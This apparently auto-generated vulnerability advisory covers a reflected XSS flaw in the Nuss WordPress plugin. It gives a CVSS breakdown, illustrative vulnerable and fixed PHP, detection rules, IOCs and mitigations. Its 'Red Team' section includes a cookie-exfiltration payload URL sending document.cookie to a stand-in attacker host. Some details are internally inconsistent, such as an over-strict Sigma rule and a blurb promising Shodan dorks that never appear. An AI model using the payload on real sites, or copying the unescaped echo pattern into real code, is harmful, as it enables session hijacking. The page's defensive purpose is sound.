CVE-2025-49893
Executive Summary
CVE-2025-49893 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Nuss WordPress plugin (by Uxper) versions up to and including 1.3.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited by tricking a victim into clicking a crafted link, leading to session hijacking, credential theft, or defacement within the context of the vulnerable WordPress site.
CVSS Score: 7.1 (High)
EPSS Score: 0.0% (Low exploitation probability at time of analysis)
Patch Status: Unpatched – No official fix available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users must rely on manual mitigation (e.g., Web Application Firewall rules) or remove the plugin entirely. The lack of a vendor response increases supply chain risk for sites using Nuss.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 7.1 (High) |
Threat Level: High – Despite low EPSS, the lack of a patch and the widespread use of WordPress make this a significant risk for unmitigated installations.
Deep Dive & Mechanics
The vulnerability exists in the Nuss plugin's handling of URL parameters or form inputs that are reflected back to the user without proper sanitization or encoding. Specifically, the plugin fails to escape output in certain administrative or front-end pages, allowing an attacker to inject HTML/JavaScript.
Attack Vector:
- Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g.,
?search=<script>alert(1)</script>). - Victim clicks the link (phishing email, social engineering).
- The vulnerable WordPress page reflects the payload without sanitization.
- The browser executes the injected script in the context of the victim's session.
Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (Nuss <= 1.3.3):
<?php
// In some template or admin page
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>
Patched Code (Hypothetical fix):
<?php
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo "<div>You searched for: " . esc_html($search) . "</div>";
?>
Key Difference: The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode output, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Local WordPress instance with Nuss plugin v1.3.3.
- Attacker-controlled server to capture cookies (optional).
Exploit Payload:
http://target.com/wp-content/plugins/nuss/vulnerable-page.php?search=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Step-by-Step:
- Identify the vulnerable parameter (e.g.,
search,q,id). - Craft a URL with a JavaScript payload that exfiltrates cookies.
- Send the link to the victim via email or social media.
- When the victim clicks, the script executes and sends cookies to the attacker.
Note: No public exploit code is available at this time.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>,onerror=,javascript:in query parameters. - Use WAF rules to block reflected XSS patterns.
Mitigation:
- Remove or disable the Nuss plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Apply virtual patching via WAF (e.g., ModSecurity rule).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with query parameters containing
<script>,%3Cscript%3E,onerror=,alert(,document.cookie. - Outbound connections to unknown IPs/domains from the WordPress server.
File IOCs:
- Modified plugin files (e.g.,
wp-content/plugins/nuss/*.php) containing injected JavaScript. - Suspicious entries in
wp-config.phpor.htaccess.
Log IOCs:
- Repeated 200 responses to URLs with XSS payloads.
- User agent strings matching known scanning tools (e.g.,
Nuclei,XSSer).
Detection Engineering
YARA Rule
rule CVE_2025_49893_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Nuss plugin <= 1.3.3"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49893"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/i
$xss2 = /onerror\s*=\s*['"]?[^'"]*['"]?/i
$xss3 = /javascript\s*:\s*/i
$param = "search="
condition:
any of ($xss*) and $param
}
Sigma Rule
title: Reflected XSS Attempt Against Nuss Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting Nuss plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- "/wp-content/plugins/nuss/"
c-uri|contains|all:
- "search="
- "<script"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of script tags in search (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-49893 Reflected XSS in Nuss Plugin";
flow:to_server,established;
content:"/wp-content/plugins/nuss/"; http_uri;
content:"search="; http_uri;
pcre:"/(<script|onerror=|javascript:)/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable/Remove the Nuss plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Apply Content Security Policy (CSP) headers:
default-src 'self'; script-src 'self';.
Long-Term:
- Monitor the vendor's website for updates.
- Conduct a security audit of all WordPress plugins.
- Educate users about phishing links.
Workaround (if plugin must remain active):
- Use a reverse proxy (e.g., Nginx) to filter malicious query strings:
if ($args ~* "(<script|onerror=|javascript:)") {
return 403;
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.